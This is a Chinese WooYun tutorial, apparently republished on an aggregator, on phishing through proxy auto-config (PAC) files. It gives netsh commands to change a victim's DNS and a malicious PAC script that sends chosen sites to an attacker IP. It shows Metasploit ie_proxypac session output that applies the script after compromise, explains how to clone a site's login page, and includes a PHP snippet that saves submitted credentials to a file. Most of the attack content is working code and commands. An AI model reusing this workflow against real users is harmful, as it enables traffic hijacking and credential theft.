通过.PAC进行网络钓鱼 | WooYun知识库
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
通过.PAC进行网络钓鱼
0x00 常见网络钓鱼方式
攻击者进行网络钓鱼的方式常有以下几种:
1. 通过修改受害者hosts文件(C:\WINDOWS\system32\drivers\etc\hosts
)来实现;
2. 通过修改受害者dns来实现;
3. 已经进入路由器,直接修改路由器的DNS。
罗列的并不全,之后遇到的话再补充,上述三种方式很常见。
修改HOSTS文件,即攻击者修改受害者HOSTS文件为如下形式:
127.0.0.1 localhost x.x.x.x www.wooyun.com
这样就受害者访问www.wooyun.com会直接访问到x.x.x.x。在msf中可以使用inject_host脚本来实现。
修改dns进行攻击:
攻击者可是使用如下命令修改受害者的dns地址(
管理员身份执行
):C:\Windows\system32>netsh interface ip show interfaces Idx Met MTU 状态 名称 --- --- ----- ----------- ------------------- 1 50 4294967295 connected Loopback Pseudo-Interface 1 10 10 1500 connected 本地连接 C:\Windows\system32>netsh interface ip set dns "本地连接" static 192.168.1.100 C:\Windows\system32>ipconfig /all | findstr 192.168.1.100 DNS 服务器 . . . . . . . . . . . : 192.168.1.100
这样就修改了受害者的DNS地址,之后可以使用msf的 fakedns来架设dns服务器来修改域名的解析地址。
除了直接修改路由器的DNS地址的以上两种方式在某些环境下还是有一些缺点的,例如,一些牛逼的AV会检测到文件的修改而发出报警,除此之外,如果受害者所处内网环境中的防火墙或路由器拦截对外部的DNS请求,修改受害者DNS的攻击方式并不能生效(因为攻击者架设的DNS在外网环境下)。
0x01 通过PAC代理
本文主要介绍的是Metasploit中的一个模块ie_proxypac。通过.PAC(自动配置代理)文件来完全控制IE的用户流量。只需要修改PAC文件,攻击者就能使受害者访问的某个域名指向攻击者的IP。虽然没有修改DNS但是可以达到同样的效果,且这种方式较为隐蔽。已经有很多人使用这种方式进行网络钓鱼。
下面是一个PAC文件示例:
function FindProxyForURL(url, host)
{
if (shExpMatch(host, "www.wooyun.org")) {
return "PROXY 192.168.52.129:80; DIRECT";
}
if (shExpMatch(host, "www.baidu.com")) {
return "PROXY 192.168.52.129:80; DIRECT";
}
}
这个文件的配置是当受害者访问www.wooyun.com以及www.baidu.com时,他会直接请求到攻击者ip( 192.168.52.129)。
详细的PAC编写请查看http://findproxyforurl.com/pac-functions/。
将以上脚本保存为test.pac,在获取meterpreter会话的基础上使用ie_proxypac脚本:
#!bash
meterpreter > background
[*] Backgrounding session 1...
msf > use post/windows/manage/ie_proxypac
msf post(ie_proxypac) > set session 1
session => 1
msf post(ie_proxypac) > set REMOTE_PAC http://192.168.52.129/test.pac
REMOTE_PAC => http://192.168.52.129/test.pac
msf post(ie_proxypac) > show options
Module options (post/windows/manage/ie_proxypac):
Name Current Setting Required Description
---- --------------- -------- -----------
AUTO_DETECT false yes Automatically detect settings.
DISABLE_PROXY false yes Disable the proxy server.
LOCAL_PAC no Local PAC file.
REMOTE_PAC http://192.168.52.129/test.pac no Remote PAC file. (Ex: http://192.168.1.20/proxy.pac)
SESSION 1 yes The session to run this module on.
msf post(ie_proxypac) > exploit
[*] Setting automatic configuration script from local PAC file ...
[+] Automatic configuration script configured...
[*] Post module execution completed
之后打开ie,internet选项->连接->局域网设置:
可以看到pac已经使用pac文件进行了代理。
代理尽量使用远程代理,因为IE11默认禁止本地代理,如果使用本地代理,代理是无效的。详情测试发现,如果连接了vpn,pac代理是失效的。
现在再访问www.baidu.com
,www.wooyun.org
,会看到已经转移到了我们制定的ip:
0x02 能做什么
这里我们修改pac文件如下:
function FindProxyForURL(url, host)
{
if (shExpMatch(host, "www.wooyun.org")) {
return "PROXY 192.168.52.129:80; DIRECT";
}
}
这里ip要改成自己的web的ip,如果受害者请求的网站host为 www.wooyun.org
时,满足规则,然后跳转到我们指定的ip地址,这里我们可以来构造钓鱼。
打开wooyun,右键查看源代码,将所有源代码保存为index.html,放在网站根目录下,因为当受害者请求 http://wooyun.org
,其host为 wooyun.org
不满足代理条件,就会直接请求,所以我们把源代码中的www.wooyun.org
,改为wooyun.org
:
然后找到url,src,href标签,修改为http://wooyun.org/xxxx 的形式,比如
#!html
<link href="/css/style.css?v=201501291909" rel="stylesheet" type="text/css"/>
修改为
#!html
<link href="http://wooyun.org/css/style.css?v=201501291909" rel="stylesheet" type="text/css"/>
改完以后,基本上就算克隆成功了:
下来要把登陆页面的的源码复制过来,打开http://www.wooyun.org/user.php?action=login
,右键复制源码,保存为user.php,放在网站根目录下,修改源码中的url,src,href。修改完之后,打开index.html文件,定位登录
,修改href为 user.php?action=login
,修改以后此标签为:
#!html
<a href="user.php?action=login">登录</a> | <a href="http://wooyun.org/user.php?action=register" class="reg">注册</a>
打开user.php,定位用户登录
表单,修改表单action为post.php:
#!html
<a href="#">用户登录</a></div>
</div>
<form action="post.php" method="POST">
.....
在网站根目录新建post.php,添加如下代码:
#!php
<?php $file = 'data.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=http://wooyun.org/user.php?action=login" />
这样钓鱼站就搭建好了。
当用户登录时:
点击登陆以后会跳转到http://wooyun.org/user.php?action=login
查看data.txt:
只是简单地一个示例,具体可以通过修改pac文件来实现控制浏览器是否进行代理。
0x03 小结
此种方式进行网络钓鱼,做的细致的话,很难被发现,而且隐蔽性好,缺点就是连接vpn以后代理将会失效。以上是个人的测试结果,请各位大牛指正。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK